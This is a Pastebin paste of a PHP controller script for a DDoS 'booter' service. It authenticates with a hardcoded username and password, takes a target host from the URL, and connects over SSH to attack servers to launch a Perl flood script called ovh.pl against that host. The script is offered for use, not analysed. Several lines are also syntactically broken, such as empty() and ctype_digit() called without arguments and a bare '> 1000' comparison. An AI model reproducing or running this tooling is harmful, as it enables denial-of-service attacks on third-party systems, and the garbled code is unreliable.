Advertisement
alxalx14

Untitled

Jun 19th, 2019
597
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. <?php
  2. ini_set('default_socket_timeout', 3);
  3. ignore_user_abort(true);
  4. set_time_limit(1000);
  5.  
  6. $apis = [
  7. "1" => [
  8. "ip" =>'IP',
  9. "username"=>'USER',
  10. "password"=>'PASSWORD',
  11. ],
  12. // "2" => [
  13. // "ip" =>'IP',
  14. // "username"=>'USER',
  15. // "password"=>'PASSWORD',
  16. ],
  17. ];
  18.  
  19. $key = $_GET['key'];
  20. $host = escapeshellarg($_GET['host']);
  21. $method = $_GET['method'];
  22. $action = $_GET['action'];
  23. $array = array("OVH");
  24. $OUTPUT = [];
  25.  
  26. $salt = "Bu5hdrHsO6emxROAm1d";
  27. $users = [ "1" => [
  28. "username" => "Inferno",
  29. "password" => "BigBooterNet!"
  30. ],
  31. ];
  32.  
  33. $loggedIn = false;
  34. foreach($users as $user) {
  35. $auth = $user["username"]+$user["password"]+$salt;
  36. if($auth == $_GET["auth"]) {
  37. $loggedIn = true;
  38. }
  39. }
  40.  
  41. if($loggedIn == false) {
  42. die("0");
  43. }
  44.  
  45. if(isset($_GET["login_service"])) {
  46. die("LOGIN_SUCCESS");
  47. }
  48.  
  49.  
  50. if (!empty()){
  51. }else{
  52. die('Error: time is empty!');}
  53. if (!empty($host)){
  54. }else{
  55. die('Error: Host is empty!');}
  56. if (!empty($method)){
  57. }else{
  58. die('Error: Method is empty!');}
  59. if (in_array($method, $array)){
  60. }else{
  61. die('Error: The method you requested does not exist!');}
  62. if ($port > 44405){
  63. die('Error: Ports over 44405 do not exist');}
  64. if ( > 1000){
  65. die('Error: Cannot exceed 1000 seconds!');}
  66. if(ctype_digit()){
  67. die('Error: Time is not in numeric form!');}
  68. if(ctype_digit($Port)){
  69. die('Error: Port is not in numeric form!');}
  70. if ($method == "OVH") { $command = "screen -d -m perl /root/ovh.pl $host ; screen -d -m perl /root/ovh.pl $host "; }
  71. if ($action == "stop") { $command = "pkill screen"; }
  72. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  73.  
  74.  
  75. $i = 0;
  76. foreach ($apis as $api) {
  77. $i++;
  78. if(!($con = ssh2_connect($api["ip"], 22))){
  79.  
  80. array_push($OUTPUT, [
  81. "server" => $i,
  82. "status" => "CONECTION FAILED"
  83. ]);
  84. echo json_encode($OUTPUT);
  85. } else {
  86. if(!ssh2_auth_password($con, $api["username"], $api["password"])) {
  87. array_push($OUTPUT, [
  88. "server" => $i,
  89. "status" => "INCORECT SERVER LOGIN"
  90. ]);
  91. } else {
  92.  
  93. if (!($stream = ssh2_exec($con, $command ))) {
  94. array_push($OUTPUT, [
  95. "server" => $i,
  96. "status" => "Error: You're server was not able to execute you're methods file and or its dependencies"
  97. ]);
  98.  
  99. } else {
  100. stream_set_blocking($stream, false);
  101. $data = "";
  102. while ($buf = fread($stream,4096)) {
  103. $data .= $buf;
  104. }
  105. array_push($OUTPUT, [
  106. "server" => $i,
  107. "status" => "hitting: $host using $method for "
  108. ]);
  109. fclose($stream);
  110. }
  111. }
  112. }
  113. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement